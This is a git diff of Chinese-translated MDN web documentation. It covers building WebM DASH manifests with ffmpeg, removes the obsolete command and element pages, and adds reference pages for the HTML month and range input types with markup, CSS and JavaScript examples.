使用 DASH - 服务端

- -

首先,您需要将WebM视频转换为带有不同比特率的随附视频文件的DASH清单。根据您的需求,启动从 ffmpeg.org 的 ffmpeg 程序,就可以使用 libvpx 和 libbvorbis 支持的 WebM 视频和音频(版本2.5以上,3.2.5版本已通过测试)。

- -

1. 使用现有的WebM文件创建一个音频文件和多个视频文件。

- -

例如:

- -

文件in.video可以是任何包含至少一个音频和一个视频流的容器,这些容器可以由ffmpeg解码,

- -

创建音频:

- -
ffmpeg -i in.video -vn -acodec libvorbis -ab 128k my_audio.webm
-
-
- -

创建不同的视频

- -
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=160:190 -b:v 250k video_160x90_250k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=320:180 -b:v 500k video_320x180_500k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=640:360 -b:v 750k  video_640x360_750k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=640:360 -b:v 1000k  video_640x360_1000k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=1280:720 -b:v 1500k  video_1280x720_1500k.webm
-
- -

或使用命令创建以上视频:

- -
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 \
--g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=160:190 -b:v 250k video_160x90_250k.webm \
--an -vf scale=320:180 -b:v 500k video_320x180_500k.webm \
--an -vf scale=640:360 -b:v 750k  video_640x360_750k.webm \
--an -vf scale=640:360 -b:v 1000k  video_640x360_1000k.webm \
--an -vf scale=1280:720 -b:v 1500k  video_1280x720_1500k.webm
- -

2. 创建清单文件

- -
ffmpeg \
-  -f webm_dash_manifest -i video_160x90_250k.webm \
-  -f webm_dash_manifest -i video_320x180_500k.webm \
-  -f webm_dash_manifest -i video_640x360_750k.webm \
-  -f webm_dash_manifest -i video_1280x720_1500k.webm \
-  -f webm_dash_manifest -i my_audio.webm \
-  -c copy \
-  -map 0 -map 1 -map 2 -map 3 -map 4 \
-  -f webm_dash_manifest \
-  -adaptation_sets "id=0,streams=0,1,2,3 id=1,streams=4" \
-  my_video_manifest.mpd
- -

-map 参数对应输入文件的顺序(每个文件只对应一个参数)。-adaptation_sets 参数将它们分配给适配集;例如,以上命令创建一个包含 0,1,2,3 的视频集(0),而另一个(1)仅仅包含视频流 4 和音频流。

- -

将清单和相关的视频文件放在Web服务器或CDN上。 DASH通过HTTP来完成,因此只要您的HTTP服务器支持字节范围请求,并且DASH设置为使用 mimetype="application/dash+xml" 来支持 .mpd 文件即可。

- -

使用DASH-客户端

- -

您将需要修改网页,使其首先指向DASH清单,而不是直接指向特定的视频文件:

- -
<video>
-  <source src="movie.mpd">
-  <source src="movie.webm">
-  Your browser does not support the video tag.
-</video>
- -

如果浏览器支持DASH,则您的视频现在将自适应地流式传输。

- - - -

WebM DASH Specification at The WebM Project

- -

DASH Industry Forum

- -

WebM project description of how to create DASH files with FFMPEG

diff --git a/files/zh-cn/web/html/element/command/index.html b/files/zh-cn/web/html/element/command/index.html deleted file mode 100644 index 9d6a7c58fd..0000000000 --- a/files/zh-cn/web/html/element/command/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: command -slug: Web/HTML/Element/command -translation_of: Web/HTML/Element/command ---- -
-

已废弃

- -

此功能已过时。 虽然它可能仍然在某些浏览器中工作,但不鼓励使用它,因为它可能随时被删除。 尽量避免使用它。

-
- -
-

注意:command元素已经被{{Gecko("24.0")}}引擎移除以利于{{HTMLElement("menuitem")}}元素。Firefox从未支持command元素,并且在Firefox 24中删除了对{{domxref("HTMLCommandElement")}}DOM接口的实现。

-
- -

概述

- -

command元素用来表示一个用户可以调用的命令.

- -

使用规范

- - - - - - - - - - - - - - - - - - - - - - - - -
内容类别Flow content, phrasing content
是否允许有内容否, 它是一个空元素
标签遗漏必须有开始标签, 不可以有结束标签.
允许的父元素任何可以包含 phrasing content的元素.
规范文档HTML5, section 4.11.3
- -

属性

- -

和其他的HTML元素一样, 该元素支持全局属性.

- -
-
{{ htmlattrdef("checked") }}
-
表明该元素已被选择, 除非元素的type 属性是 checkbox 或radio,否则该属性必须被省略.
-
{{ htmlattrdef("disabled") }}
-
表明该command元素已经被禁用.
-
{{ htmlattrdef("icon") }}
-
用一张图片来显示该command元素.
-
{{ htmlattrdef("label") }}
-
该command元素的名称.用来显示给用户.
-
{{ htmlattrdef("radiogroup") }}
-
如果该元素的type属性为radio,则radiogroup属性用来表示这一组command元素的公用名称. 如果type属性不是radio,则radiogroup属性必须省略.
-
{{ htmlattrdef("type") }}
-
该属性用来表明command元素的类型,可以是下面三种值: -
    -
  • -

    command 或者为空,表示一个普通的command元素.

    -
  • -
  • -

    checkbox表明该command元素体现为一个复选框,可以来回切换选中状态.

    -
  • -
  • -

    radio 表明该command元素体现为一个单选按钮,可以来回切换选中状态.

    -
  • -
-
-
- -

DOM 接口

- -

该元素实现了HTMLCommandElement接口.

- -

例子

- -
<command type="command" label="Save" icon="icons/save.png" onclick="save()">
-
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

 

- -

{{ languages( { "en": "en/HTML/Element/command" } ) }}

diff --git a/files/zh-cn/web/html/element/element/index.html b/files/zh-cn/web/html/element/element/index.html deleted file mode 100644 index 4db9cb2471..0000000000 --- a/files/zh-cn/web/html/element/element/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: -slug: Web/HTML/Element/element -translation_of: Web/HTML/Element/element ---- -

{{obsolete_header}}

- -
-

Note: This element has been removed from the specification. See this for more information from the editor of the specification.

-
- -

简介

- -

<element>元素被定义在最新的 HTML DOM 元素中。

- - - - - - - - - - - - - - - - - - - - - - - - -
Content categoriesTransparent content.
Permitted content???
Tag omission{{no_tag_omission}}
Permitted parent elements???
DOM interface{{domxref("HTMLElement")}}
- -

属性

- -

这个元素只有全局属性

- -

示例

- -

Text goes here.

- -
More text goes here.
-
- -

规范

- -

<element>元素以前位于自定义元素的草稿规范中,但已被删除

- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另请参阅

- -
    -
  • Web components: {{HTMLElement("content")}}, {{HTMLElement("shadow")}}, {{HTMLElement("template")}}
  • -
- -
{{HTMLRef}}
diff --git a/files/zh-cn/web/html/element/input/month/index.html b/files/zh-cn/web/html/element/input/month/index.html new file mode 100644 index 0000000000..9a2fbb6f2a --- /dev/null +++ b/files/zh-cn/web/html/element/input/month/index.html @@ -0,0 +1,457 @@ +--- +title: +slug: Web/HTML/Element/Input/月份 +tags: + - HTML + - Input + - 表单 +translation_of: Web/HTML/Element/input/month +--- +

{{HTMLRef}}

+ +

类型为 month 的 {{htmlelement("input")}} 可以让你容易地创建一个方便输入年份或月份的一个 {{htmlelement("input")}}。

+ +
{{EmbedInteractiveExample("pages/tabbed/input-month.html", "tabbed-shorter")}}
+ + + +

这个控件在各个浏览器支持都不同,目前是支持部分浏览器。在桌面上支持情况为 Chrome/Opera 和 Edge 。在移动端支持大部分现代浏览器。在其他浏览器中,这个控件会被优雅的降级到<input type="text">.

+ +

对于那些使用不支持的浏览器的用户,Chrome / Opera月份控制如下图所示。单击右侧的向下箭头会显示日期选择器,以便您选择日期;你必须手动输入时间。

+ +

+ +

Edge的 month 看起来像这样的:

+ +

+ + + + + + + + + + + + + + + + + + + + + + + + +
{{anch("Value")}}一个 {{domxref("DOMString")}} 代表一个月,一年,或者是空。
Events{{event("change")}} 和 {{event("input")}}.
Supported Common Attributes{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}}, 和 {{htmlattrxref("step", "input")}}.
IDL attributesvalue.
Methods{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.
+ +

Value

+ +

{{domxref("DOMString")}} 表示输入输入的月份和年份的值, in the form YYYY-MM (four or more digit year, then a hyphen ("-"), followed by the two-digit month). The format of the month string used by this input type is described in {{SectionOnPage("/en-US/docs/Web/HTML/Date_and_time_formats", "Format of a valid local month string")}}.

+ +

你可以设置一个默认的属性值插入到 {{htmlattrxref("value", "input")}} 里, 像这样:

+ +
<label for="bday-month">What month were you both in?</label>
+<input id="bday-month" type="month" name="bday-month" value="2017-06">
+ +

{{EmbedLiveSample('value-example-1', 600, 60)}}

+ +

需要注意的是显示的如期格式不同于实际的value — 日期显示的格式将根据用户的操作系统的时区设置, 而时间的格式通常会格式化为 yyyy-MM

+ +

在向服务器提交上述值的时候他们看起来像这样:bday-month=1978-06.

+ +

你也可以使用JavaScript 的 {{domxref("HTMLInputElement.value")}} 来设置日期的值 。例如:

+ +
var monthControl = document.querySelector('input[type="month"]');
+monthControl.value = '1978-06';
+ +

{{EmbedLiveSample("value-example-2", 600, 60)}}

+ +

 

+ +

Additional attributes

+ +

In addition to the attributes common to {{HTMLElement("input")}} elements, month inputs offer the following attributes:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeDescription
{{anch("max")}}The latest year and month to accept as a valid input
{{anch("min")}}The earliest year and month to accept as a valid input
{{anch("readonly")}}A Boolean which, if present, indicates that the input's value can't be edited
{{anch("step")}}A stepping interval to use when incrementing and decrementing the value of the input field
+ +

{{htmlattrdef("max")}}

+ +

The latest year and month, in the string format discussed in the {{anch("Value")}} section above, to accept. If the {{htmlattrxref("value", "input")}} entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a valid string in "yyyy-MM" format, then the element has no maximum value.

+ +

This value must specify a year-month pairing later than or equal to the one specified by the min attribute.

+ +

{{htmlattrdef("min")}}

+ +

The latest year and month to accept, in the same "yyyy-MM" format described above. If the {{htmlattrxref("value", "input")}} of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid year and month string, the input has no minimum value.

+ +

This value must be a year-month pairing which is earlier than or equal to the one specified by the max attribute.

+ +

{{htmlattrdef("readonly")}}

+ +

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed from JavaScript code that directly sets the value of the {{domxref("HTMLInputElement.value")}} property.

+ +
+

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+ +

{{htmlattrdef("step")}}

+ +

{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}

+ +

For month inputs, the value of step is given in months, with a scaling factor of 1 (since the underlying numeric value is also in months). The default value of step is 1 month.

+ +

 

+ +

Using month inputs

+ +

与日期相关的输入乍一看很方便,它们提供了一个简单的用户界面来选择日期,并且它们将发送到服务器的数据格式规范化,而不考虑用户的本地环境。但是, 由于浏览器支持有限,所以这个 <input type="month">还是存在兼容性问题。

+ +

我们在往下看更多关于<input type="month">基础和更多的高级的用法

+ +

, 下面将讲有关缓解浏览器支持问题的建议 (请参阅{{anch("Handling browser support")}}).

+ +

Basic uses of month

+ +

最简单的<input type="month"> 涉及到基础的 <input> 和 {{htmlelement("label")}} 的元素组合, 像下面这样:

+ +
<form>
+  <label for="bday-month">What month were you both in?</label>
+  <input id="bday-month" type="month" name="bday-month">
+</form>
+ +

{{ EmbedLiveSample('Basic_uses_of_month', 600, 40) }}

+ +

设置最长和最短日期

+ +

你可以使用{{htmlattrxref("min", "input")}} 和 {{htmlattrxref("max", "input")}} 属性 来限制用户选择日期. 在下列的例子中我们设置最小月份1900-01 最大月份到 2017-08:

+ +
<form>
+  <label for="bday-month">What month were you both in?</label>
+  <input id="bday-month" type="month" name="bday-month"
+         min="1900-01" max="2017-08">
+</form>
+ +

{{ EmbedLiveSample('Setting_maximum_and_minimum_dates', 600, 40) }}

+ +

结果是这样:

+ +
    +
  • 月份只有在2017年八月份到1900年一月可以选择 — 在这个控件里这个范围以外的月份不能滚动选择。
  • +
  • Depending on what browser you are using, you might find that times outside the specified values might not be selectable in the time picker (e.g. Edge), or invalid (see {{anch("Validation")}}) but still available (e.g. Chrome).
  • +
+ +
+

Note: You should be able to use the {{htmlattrxref("step", "input")}} attribute to vary the number of days jumped each time the date is incremented (e.g. maybe you only want to make Saturdays selectable). However, this does not seem to work effectively in any implementation at the time of writing.

+
+ +

Controlling input size

+ +

<input type="month"> doesn't support form sizing attributes such as {{htmlattrxref("size", "input")}}. You'll have to resort to CSS for sizing needs.

+ +

Validation

+ +

By default, <input type="month"> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still not fill in a date and submit, or enter an invalid date (e.g. the 32th of April).

+ +

You can use {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} to restrict the available dates (see anch("Setting maximum and minimum dates")), and in addition use the {{htmlattrxref("required", "input")}} attribute to make filling in the date mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds, or an empty date field.

+ +

Let's look at an example — here we've set minimum and maximum dates, and also made the field required:

+ +
<form>
+  <div>
+    <label for="month">What Month would you like to visit us? (Summer months only.)</label>
+    <input id="month" type="month" name="month"
+           min="2017-06" max="2017-09" required>
+    <span class="validity"></span>
+  </div>
+  <div>
+      <input type="submit" value="Submit form">
+  </div>
+</form>
+ +

If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:

+ +

{{ EmbedLiveSample('Validation', 600, 120) }}

+ +

Here's'a screenshot for those of you who aren't using a supporting browser:

+ +

+ +

Here's the CSS used in the above example. Here we make use of the {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS properties to style the input based on whether or not the current value is valid. We had to put the icons on a {{htmlelement("span")}} next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.

+ +
div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}
+ +
+

Important: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format.  It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth).

+
+ +

Handling browser support

+ +

As mentioned above, the major problem with using date inputs at the time of writing is browser support — only Chrome/Opera and Edge support it on desktop, and most modern browsers on mobile. As an example, the month picker on Chrome for Android looks like this:

+ +

+ +

Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.

+ +

The second problem is the most serious — as we mentioned earlier, with a month input the actual value is always normalized to the format yyyy-mm. With a text input on the other hand, by default the browser has no recognition of what format the date should be in, and there multiple ways in which people write dates, for example:

+ +
    +
  • mmyyyy
  • +
  • mm/yyyy
  • +
  • mm-yyyy
  • +
  • yyyy-mm
  • +
  • etc.
  • +
+ +

One way around this is to put a {{htmlattrxref("pattern", "input")}} attribute on your month input. Even though the month input doesn't use it, the text input fallback will. For example, try viewing the following demo in a non-supporting browser:

+ +
<form>
+  <div>
+    <label for="month">What Month would you like to visit us? (Summer months only, yyyy-mm)</label>
+    <input id="month" type="month" name="month"
+           min="2017-06" max="2017-09" required
+           pattern="[0-9]{4}-[0-9]{2}">
+    <span class="validity"></span>
+  </div>
+  <div>
+      <input type="submit" value="Submit form">
+  </div>
+</form>
+ +

{{ EmbedLiveSample('Handling_browser_support', 600, 100) }}

+ +

If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern nnnn-nn, where n is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates that follow the pattern.

+ +

And what user is going to understand the pattern they need to enter the date in?

+ +

We still have a problem.

+ + + +

The best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the month and year in separate controls ({{htmlelement("select")}} elements being popular — see below for an implementation), or use JavaScript libraries such as jQuery date picker, and the jQuery timepicker plugin.

+ +

Examples

+ +

In this example we create two sets of UI elements for choosing dates — a native picker created with <input type="month">, and a set of two {{htmlelement("select")}} elements for choosing months/years in older browsers that don't support the native input.

+ +

{{ EmbedLiveSample('Examples', 600, 140) }}

+ +

The HTML looks like so:

+ +
<form>
+  <div class="nativeDatePicker">
+    <label for="month-visit">What Month would you like to visit us?</label>
+    <input type="month" id="month-visit" name="month-visit">
+    <span class="validity"></span>
+  </div>
+  <p class="fallbackLabel">What Month would you like to visit us?</p>
+  <div class="fallbackDatePicker">
+    <div>
+      <span>
+        <label for="month">Month:</label>
+        <select id="month" name="month">
+          <option selected>January</option>
+          <option>February</option>
+          <option>March</option>
+          <option>April</option>
+          <option>May</option>
+          <option>June</option>
+          <option>July</option>
+          <option>August</option>
+          <option>September</option>
+          <option>October</option>
+          <option>November</option>
+          <option>December</option>
+        </select>
+      </span>
+      <span>
+        <label for="year">Year:</label>
+        <select id="year" name="year">
+        </select>
+      </span>
+    </div>
+  </div>
+</form>
+ +

The months are hardcoded (as they are always the same), while the year values are dynamically generated depending on the current year (see the code comments below for detailed explanations of how these functions work.)

+ + + +

The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="month">, we create a new {{htmlelement("input")}} element, set its type to month, then immediately check what its type is set to — non-supporting browsers will return text, because the date type falls back to type text. If <input type="month"> is not supported, we hide the native picker and show the fallback picker UI ({{htmlelement("select")}}) instead.

+ +
// define variables
+var nativePicker = document.querySelector('.nativeDatePicker');
+var fallbackPicker = document.querySelector('.fallbackDatePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var monthSelect = document.querySelector('#month');
+
+// hide fallback initially
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// test whether a new date input falls back to a text input or not
+var test = document.createElement('input');
+test.type = 'month';
+// if it does, run the code inside the if() {} block
+if(test.type === 'text') {
+  // hide the native picker and show the fallback
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // populate the years dynamically
+  // (the months are always the same, therefore hardcoded)
+  populateYears();
+}
+
+function populateYears() {
+  // get the current year as a number
+  var date = new Date();
+  var year = date.getFullYear();
+
+  // Make this year, and the 100 years before it available in the year <select>
+  for(var i = 0; i <= 100; i++) {
+    var option = document.createElement('option');
+    option.textContent = year-i;
+    yearSelect.appendChild(option);
+  }
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'forms.html#month-state-(type=month)', '<input type="month">')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("html.elements.input.input-month")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/html/element/input/range/index.html b/files/zh-cn/web/html/element/input/range/index.html new file mode 100644 index 0000000000..9450c705b2 --- /dev/null +++ b/files/zh-cn/web/html/element/input/range/index.html @@ -0,0 +1,515 @@ +--- +title: +slug: Web/HTML/Element/Input/范围 +tags: + - HTML + - 元素 + - 参考 + - 网页 + - 范围 +translation_of: Web/HTML/Element/input/range +--- +
{{HTMLRef}}
+ +

{{HTMLElement("input")}}  range 类型的元素允许用户指定一个数值,该数值必须不小于给定值,并且不得大于另一个给定值。但是,精确值并不重要。通常使用滑块或拨号控件而不是像 {{HTMLElement('input/number', 'number')}}  输入类型这样的文本输入框来表示。 由于这种小部件不精确,因此除非控件的确切值不重要,否则通常不应使用它。

+ +
{{EmbedInteractiveExample("pages/tabbed/input-range.html", "tabbed-standard")}}
+ + + +

如果用户的浏览器不支持类型范围,它将回退并将其视为 {{HTMLElement('input/text', 'text')}} 输入。

+ + + + + + + + + + + + + + + + + + + + + + + + +
{{anch("Value")}}A {{domxref("DOMString")}} containing the string representation of the selected numeric value; use {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} to get the value as a {{jsxref("Number")}}.
事件{{event("change")}} and {{event("input")}}
支持的常用属性{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("max", "input")}}, {{htmlattrxref("min", "input")}}, and {{htmlattrxref("step", "input")}}
IDL属性list, value, 和 valueAsNumber
方法{{domxref("HTMLInputElement.stepDown", "stepDown()")}} and {{domxref("HTMLInputElement.stepUp", "stepUp()")}}
+ +

验证方式

+ +

没有可用的模式验证。 但是,执行以下形式的自动验证:

+ +
    +
  • 如果将 {{htmlattrxref("value", "input")}} 设置为无法转换为有效浮点数的值,则验证将失败,因为输入正遭受错误的输入。
  • +
  • 该值不得小于 {{htmlattrxref("min", "input")}}. 默认值为0。
  • +
  • 该值将不大于 {{htmlattrxref("max", "input")}}.  默认值为100。
  • +
  • 该值将是 {{htmlattrxref("step", "input")}}.  预设值为1。
  • +
+ +

+ +

{{htmlattrxref("value", "input")}} 属性包含一个 {{domxref("DOMString")}} 该属性包含所选数字的字符串表示形式。 该值绝不能为空字符串 ("").  默认值介于指定的最小值和最大值之间,除非最大值实际上小于最小值,在这种情况下,默认值设置 min 属性的值。确定默认值的算法是:

+ +
defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min
+               : rangeElem.min + (rangeElem.max - rangeElem.min)/2;
+ +

如果尝试将值设置为小于最小值,则将其设置为最小值。 类似地,尝试将值设置为大于最大值会导致将其设置为最大值。

+ +

其他属性

+ +

除了所有 {{HTMLElement("input")}} 元素共享的属性之外,范围输入还提供以下属性:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
属性描述
{{anch("list")}}<datalist>元素的ID,其中包含可选的预定义选项
{{anch("max")}}最大允许值
{{anch("min")}}最小允许值
{{anch("step")}}步进间隔,用于用户界面和验证目的
+ +

{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}

+ +

有关在支持的浏览器中如何表示范围中的选项的示例,请参见下面的带散列的标记范围控制

+ +

{{htmlattrdef("max")}}

+ +

允许值范围内的最大值。 如果输入到元素中的{{htmlattrxref("value", "input")}}超过此值,则元素将无法通过约束验证。  如果 max 属性的值不是数字,则元素没有最大值。

+ +

此值必须大于或等于min属性的值。 请参见 HTML max属性。

+ +

{{htmlattrdef("min")}}

+ +

允许值范围内的最小值。 如果元素的{{htmlattrxref("value", "input")}} 小于此值,则该元素将无法通过 约束验证。如果为min 指定的值不是有效数字,则输入没有最小值。

+ +

该值必须小于或等于max属性的值。 请参见 HTML min属性

+ +

{{htmlattrdef("step")}}

+ +

{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}

+ +

range 输入的默认步进值为1,除非步进基数不是整数,否则仅允许输入整数;否则,默认值为1。 例如,如果将 min 设置为-10并将 value 设置为1.5,则1的 step 将只允许正方向上的值为1.5、2.5、3.5,...,以及-0.5,-1.5,-2.5等。 ..朝负面方向发展。 请参阅HTML step 属性

+ +

非标准属性

+ + + + + + + + + + + + + + +
属性描述
{{anch("orient")}}设置范围滑块的方向。 仅限Firefox .
+ +
+
{{htmlattrdef("orient")}} {{non-standard_inline}}
+
类似于-moz-orient非标准CSS属性会影响 {{htmlelement('progress')}} 和 {{htmlelement('meter')}} 元素, orient 属性定义范围滑块的方向。 值包括 horizontal, 表示范围是水平呈现, 和 vertical, 其中范围是垂直呈现)。
+
+ +
+

注意:以下输入属性不适用于输入范围:accept, alt, checked, dirname, formaction, formenctype, formmethod, formnovalidate, formtarget,高度, maxlength, minlength, multiple, pattern, placeholder, readonly, required, size, src, 和 width. 这些属性中的任何一个(如果包含)将被忽略。

+
+ +

例子

+ +

虽然 number 类型允许用户输入带有可选约束的数字,以强制其值介于最小值和最大值之间,但它确实要求他们输入特定值。 range 输入类型使您可以在用户甚至不关心或不知道所选的特定数字值是什么的情况下,向用户询问一个值。

+ +

常用范围输入的一些情况示例:

+ +
    +
  • 音频控件(例如音量和平衡)或过滤器控件。
  • +
  • 颜色配置控件,例如颜色通道,透明度,亮度等。
  • +
  • 游戏配置控件,例如难度,可见性距离,世界范围等等。
  • +
  • 密码管理员生成的密码的密码长度。
  • +
+ +

通常,如果用户对最小值和最大值之间的距离的百分比比实际数字本身更感兴趣,则范围输入是一个不错的选择。 例如,在家庭立体声音量控制的情况下,用户通常认为“将音量设置为最大音量的一半”而不是“将音量设置为0.5”。

+ +

指定最小和最大

+ +

默认情况下,最小值为0,最大值为100。如果这不是您想要的值,则可以通过更改 {{htmlattrxref("min", "input")}} 和/或 {{htmlattrxref("max", "input")}} 属性。 这些可以是任何浮点值。

+ +

例如,要要求用户输入介于-10和10之间的值,可以使用:

+ +
<input type="range" min="-10" max="10">
+ +

{{EmbedLiveSample("Specifying_the_minimum_and_maximum", 600, 40)}}

+ +

设置值的粒度

+ +

默认情况下,粒度为1,表示该值始终是整数。 您可以更改 {{htmlattrxref("step")}} 属性以控制粒度。 例如,如果您需要一个介于5到10之间的值(精确到两位小数),则应将 step 的值设置为0.01:

+ +
+
<input type="range" min="5" max="10" step="0.01">
+ +

{{EmbedLiveSample("Granularity_sample1", 600, 40)}}

+
+ +

如果要接受任何值而不论扩展到小数点后多少位,都可以为{{htmlattrxref("step", "input")}} 属性指定 any 数值。

+ +
+
<input type="range" min="0" max="3.14" step="any">
+ +

{{EmbedLiveSample("Granularity_sample2", 600, 40)}}

+ +

该示例使用户可以选择0到π之间的任何值,而对所选值的小数部分没有任何限制。

+
+ +

添加井号和标签

+ +

HTML规范使浏览器在如何显示范围控件方面具有一定的灵活性。 在散列标记和较小程度上的标签方面,这种灵活性最明显。 该规范描述了如何使用 {{htmlattrxref("list", "input")}} 属性和 {{HTMLElement("datalist")}} 元素将自定义点添加到范围控件,但没有任何要求或 甚至是沿控件长度的标准化哈希或刻度线的建议。

+ +

范围控制模型

+ +

由于浏览器具有这种灵活性,并且迄今为止都不支持HTML为范围控件定义的所有功能,因此以下是一些模型,以向您展示在支持它们的浏览器中在macOS上可以得到的功能。

+ +
无装饰的范围控制
+ +

如果不指定 {{htmlattrxref("list", "input")}} 属性,或者浏览器不支持该属性,则会得到此结果。

+ + + + + + + + + + + + + + + + + + + + + +
HTML例子
+
+<input type="range">
+
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("An_unadorned_range_control",200,55,"","", "nobutton")}}
+ +
带散列标记的范围控件
+ +

此范围控件使用的 list 属性指定{{HTMLElement("datalist")}} 的ID,该ID定义了控件上的一系列带散列的标记。 其中有11个,因此在0%和每个10%标记处都有一个。 每个点均使用 {{HTMLElement("option")}} 元素表示,其元素 {{htmlattrxref("value", "option")}} 设置为应绘制标记的范围值。

+ + + + + + + + + + + + + + + + + + + + + +
HTML例子
+
+<input type="range" list="tickmarks">
+
+<datalist id="tickmarks">
+  <option value="0"></option>
+  <option value="10"></option>
+  <option value="20"></option>
+  <option value="30"></option>
+  <option value="40"></option>
+  <option value="50"></option>
+  <option value="60"></option>
+  <option value="70"></option>
+  <option value="80"></option>
+  <option value="90"></option>
+  <option value="100"></option>
+</datalist>
+
+
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("A_range_control_with_hash_marks_and_labels",200,55,"","", "nobutton")}}
+ +
具有散列标记和标签的范围控件
+ +

您可以通过向 {{htmlattrxref("label", "option")}} 元素添加 {{HTMLElement("option")}} 属性来将标签添加到您的范围控件中,这些元素对应于您希望为其添加标签的标记。

+ + + + + + + + + + + + + + + + + + + + + +
HTML例子
+
+<input type="range" list="tickmarks">
+
+<datalist id="tickmarks">
+  <option value="0" label="0%"></option>
+  <option value="10"></option>
+  <option value="20"></option>
+  <option value="30"></option>
+  <option value="40"></option>
+  <option value="50" label="50%"></option>
+  <option value="60"></option>
+  <option value="70"></option>
+  <option value="80"></option>
+  <option value="90"></option>
+  <option value="100" label="100%"></option>
+</datalist>
+
+
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("A_range_control_with_hash_marks_and_labels",200,55,"","", "nobutton")}}
+ +
+

注意: 目前没有浏览器完全支持这些特性。例如,Firefox根本不支持散列标记和标签,而Chrome支持散列标记,但不支持标签。Chrome的66版本(66.0.3359.181)支持标签,但是 {{htmlelement("datalist")}} 标签必须使用CSS样式,因为它的 {{cssxref("display")}}属性默认设置为 none ,隐藏了标签。

+
+ +

改变方向

+ +
+

